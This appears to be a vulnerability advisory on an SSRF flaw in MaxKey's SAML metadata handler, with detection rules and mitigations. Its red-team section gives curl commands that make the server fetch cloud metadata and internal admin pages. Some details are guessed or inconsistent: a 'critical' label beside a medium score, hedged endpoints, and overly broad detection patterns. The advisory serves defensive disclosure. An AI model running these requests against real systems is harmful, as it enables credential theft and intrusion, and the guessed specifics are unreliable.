CVE-2025-6517

Executive Summary

CVE-2025-6517 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in Dromara MaxKey, an open-source Identity and Access Management (IAM) platform. The flaw resides in the SAML20DetailsController.java file, specifically within the Meta URL Handler's Add function. By manipulating the post argument, an unauthenticated remote attacker can force the server to make arbitrary HTTP requests to internal or external resources. This can lead to internal network reconnaissance, access to cloud metadata endpoints (e.g., AWS, GCP), and potential lateral movement. The vulnerability affects all versions up to and including 4.1.7. The vendor has not responded to disclosure, and no official patch is available. A public proof-of-concept (PoC) exists, increasing the risk of exploitation.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a Java-based application distributed as a WAR file or Docker image. Organizations using MaxKey should treat this as a critical supply chain risk, as the unpatched component can be used to pivot into internal networks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High (due to public PoC, no patch, and SSRF potential for internal network compromise).

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the SAML metadata URL handler. When configuring a new SAML identity provider, MaxKey allows administrators to provide a metadata URL. The SAML20DetailsController.java fetches this URL to parse the SAML metadata. The flaw is that the post argument (likely a parameter in the HTTP request) is not sanitized or validated. An attacker can craft a malicious request to the /idp/metadata endpoint (or similar) with a post parameter pointing to an internal IP address (e.g., http://169.254.169.254/latest/meta-data/).

The server will then make an HTTP request to that URL and return the response to the attacker. This bypasses network segmentation and firewall rules, as the request originates from the trusted MaxKey server.

Root Cause: Lack of input validation on the URL parameter in the Add function of SAML20DetailsController.java. The code likely uses HttpURLConnection or a similar HTTP client without restricting the target to allowed domains or IP ranges.

Vulnerable vs. Patched Code

Vulnerable Code (MaxKey <= 4.1.7):

// Simplified vulnerable code
public String add(String metadataUrl) {
    URL url = new URL(metadataUrl);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    // No validation of the URL
    InputStream in = conn.getInputStream();
    // Process metadata...
}

Patched Code (Hypothetical):

// Patched code with URL validation
public String add(String metadataUrl) {
    // Validate URL against a whitelist
    if (!isAllowedUrl(metadataUrl)) {
        throw new SecurityException("URL not allowed");
    }
    URL url = new URL(metadataUrl);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    // Additional security: disable redirects, set timeout
    conn.setInstanceFollowRedirects(false);
    conn.setConnectTimeout(5000);
    InputStream in = conn.getInputStream();
    // Process metadata...
}

private boolean isAllowedUrl(String url) {
    // Only allow HTTPS and specific domains
    return url.startsWith("https://") && (url.contains("trusted-idp.com") || url.contains("saml.example.com"));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• MaxKey instance (version <= 4.1.7) accessible over the network.
• A listener to receive the SSRF response (e.g., a simple HTTP server or Burp Collaborator).

Exploit Steps:

1. Identify the vulnerable endpoint. Typically, it is /maxkey-mgt/idp/metadata/add or similar.
2. Craft a POST request with the post parameter set to an internal resource.
3. Example using curl:

   curl -X POST "http://target:8080/maxkey-mgt/idp/metadata/add" \
        -d "post=http://169.254.169.254/latest/meta-data/"
   

4. The server will fetch the AWS metadata and return it in the response.
5. For internal network scanning, use:

   curl -X POST "http://target:8080/maxkey-mgt/idp/metadata/add" \
        -d "post=http://192.168.1.1/admin"
   

Advanced Exploitation:

• Use SSRF to attack internal services (e.g., Redis, Memcached, Elasticsearch).
• Chain with other vulnerabilities (e.g., blind SSRF to RCE via internal service exploitation).

Blue Team

Detection:

• Monitor for outbound HTTP requests from the MaxKey server to unexpected IPs (especially private IP ranges like 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and cloud metadata IPs).
• Look for requests to 169.254.169.254 or 100.100.100.200 (Alibaba Cloud).
• Analyze web server logs for unusual POST requests to /maxkey-mgt/idp/metadata/add with suspicious post parameters.

Hunting:

• Search for logs containing SAML20DetailsController and add with URLs pointing to internal IPs.
• Use network flow data to identify connections from the MaxKey server to unusual destinations.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from MaxKey server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200).
  • Unusual User-Agent strings in outbound requests (e.g., Java/1.8.0_202).

• File IOCs:

  • Log entries in maxkey.log or catalina.out containing SAML20DetailsController and suspicious URLs.
  • Temporary files created by the metadata fetch process (e.g., in /tmp/).

• Behavioral IOCs:

  • Unexpected increase in outbound HTTP traffic from the MaxKey server.
  • Access to internal services (e.g., Redis, MySQL) from the MaxKey server that were not previously observed.

Detection Engineering

YARA Rule

rule CVE_2025_6517_SSRF_MaxKey {
    meta:
        description = "Detects SSRF exploitation attempts against CVE-2025-6517 in MaxKey"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6517"
    strings:
        $s1 = "SAML20DetailsController" ascii wide nocase
        $s2 = "metadataUrl" ascii wide nocase
        $s3 = "169.254.169.254" ascii wide nocase
        $s4 = "192.168." ascii wide nocase
        $s5 = "10." ascii wide nocase
        $s6 = "172." ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-6517 SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against MaxKey SAML metadata handler
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/maxkey-mgt/idp/metadata/add'
        cs-uri-query|contains: 'post=http://'
    keywords:
        - '169.254.169.254'
        - '192.168.'
        - '10.'
        - '172.'
    condition: selection and keywords
falsepositives:
    - Legitimate SAML metadata URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-6517 MaxKey SSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/maxkey-mgt/idp/metadata/add";
    http_uri;
    content:"post=http://";
    http_client_body;
    pcre:"/(169\.254\.169\.254|192\.168\.|10\.|172\.)/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the MaxKey server: Place it behind a strict firewall that blocks outbound connections to private IP ranges and cloud metadata endpoints.
2. Disable the vulnerable endpoint: If possible, remove or disable the SAML metadata URL import functionality.
3. Apply a WAF rule: Block POST requests to /maxkey-mgt/idp/metadata/add with post parameters containing private IPs or cloud metadata IPs.

Long-term Fix:

• Since no patch is available, consider migrating to an alternative IAM solution or forking the MaxKey codebase to implement input validation (as shown in the patched code example).
• Monitor the vendor's repository for any future patches.

Compensating Controls:

• Implement network segmentation to limit the blast radius of an SSRF attack.
• Use a forward proxy with strict allowlists for outbound HTTP requests from the MaxKey server.
• Enable detailed logging and alerting on the MaxKey server for all outbound connections.

Valters IT